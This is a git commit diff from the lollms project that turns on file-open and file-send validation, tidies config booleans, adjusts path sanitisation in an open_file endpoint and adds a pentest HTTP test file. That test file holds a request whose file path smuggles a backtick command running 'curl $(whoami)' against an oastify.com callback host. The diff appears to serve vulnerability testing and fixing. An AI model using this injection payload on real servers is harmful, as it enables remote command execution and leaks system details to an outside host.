This commit is contained in:
Saifeddine ALOUI 2024-04-29 18:52:35 +02:00
parent 5043193c30
commit abb4c6d495
5 changed files with 31 additions and 23 deletions

@ -1 +0,0 @@
Subproject commit d7bd9089d596b7ef178725d19cb144ee3ef468e8

View File

@ -1,23 +1,23 @@
# =================== Lord Of Large Language Multimodal Systems Configuration file ===========================
version: 83
version: 84
binding_name: null
model_name: null
model_variant: null
model_type: null
show_news_panel: True
show_news_panel: true
# Security measures
turn_on_setting_update_validation: True
turn_on_code_execution: True
turn_on_code_validation: True
turn_on_open_file_validation: False
turn_on_send_file_validation: False
turn_on_setting_update_validation: true
turn_on_code_execution: true
turn_on_code_validation: true
turn_on_open_file_validation: true
turn_on_send_file_validation: true
force_accept_remote_access: false
# Server information
headless_server_mode: False
headless_server_mode: false
allowed_origins: []
# Host information
@ -57,7 +57,7 @@ use_user_informations_in_discussion: false
discussion_db_name: default
# Automatic updates
debug: False
debug: false
debug_log_file_path: ""
auto_update: true
auto_sync_personalities: true
@ -110,10 +110,10 @@ petals_device: cuda
enable_lollms_service: false
lollms_base_url: http://localhost:1234
lollms_access_keys : "" # set a list of keys separated by coma to restrict access
activate_lollms_server: True
activate_ollama_emulator: True
activate_openai_emulator: True
activate_mistralai_emulator: True
activate_lollms_server: true
activate_ollama_emulator: true
activate_openai_emulator: true
activate_mistralai_emulator: true
# elastic search service
elastic_search_service: false
@ -150,7 +150,7 @@ data_vectorization_method: "tfidf_vectorizer" #"model_embedding" or "tfidf_vecto
data_visualization_method: "PCA" #"PCA" or "TSNE"
data_vectorization_sentense_transformer_model: "all-MiniLM-L6-v2" # you can use another model by setting its name here or its path
data_vectorization_save_db: False # For each new session, new files
data_vectorization_save_db: false # For each new session, new files
data_vectorization_chunk_size: 512 # chunk size
data_vectorization_overlap_size: 128 # overlap between chunks size
data_vectorization_nb_chunks: 2 # number of chunks to use
@ -165,8 +165,8 @@ internet_vectorization_chunk_size: 512 # chunk size
internet_vectorization_overlap_size: 128 # overlap between chunks size
internet_vectorization_nb_chunks: 2 # number of chunks to use
internet_nb_search_pages: 3 # number of pages to select
internet_quick_search: False # If active the search engine will not load and read the webpages
internet_activate_search_decision: False # If active the ai decides by itself if it needs to do search
internet_quick_search: false # If active the search engine will not load and read the webpages
internet_activate_search_decision: false # If active the ai decides by itself if it needs to do search
# Helpers
pdf_latex_path: null
@ -174,7 +174,7 @@ pdf_latex_path: null
positive_boost: null
negative_boost: null
force_output_language_to_be: null
fun_mode: False
fun_mode: false
# webui configurations

View File

@ -212,11 +212,10 @@ async def open_file(file_path: FilePath):
return {"status":False,"error":"User refused the opeining file!"}
forbid_remote_access(lollmsElfServer)
# Validate the 'path' parameter
path = sanitize_path(file_path.path, allow_absolute_path=True)
try:
# Validate the 'path' parameter
path = sanitize_path(file_path.path, allow_absolute_path=True)
try:
if Path(path).exists():
# Use subprocess.Popen to safely open the file
ASCIIColors.yellow(f"Starting file : {path}")

@ -1 +1 @@
Subproject commit 95ad36eeffc6a6be3e3f35ed35a384d768f0ecf6
Subproject commit 227df34a42f6cfb73184e50f7a8757d1d67ff60c

10
tests/pentests/tests.http Normal file
View File

@ -0,0 +1,10 @@
############################################
### Load Discussion by ID
############################################
POST http://localhost:9600/open_file
Content-Type: application/json
{
"client_id":"5tp76HAcZWvKry3VAAAD",
"path":"/home/kali/huntr/discussion_databases/default/1/text_data/hai`curl $(whoami).9dnvxt2tdxl52lmfk6ejf0c6qxwpkf84.oastify.com`.txt"
}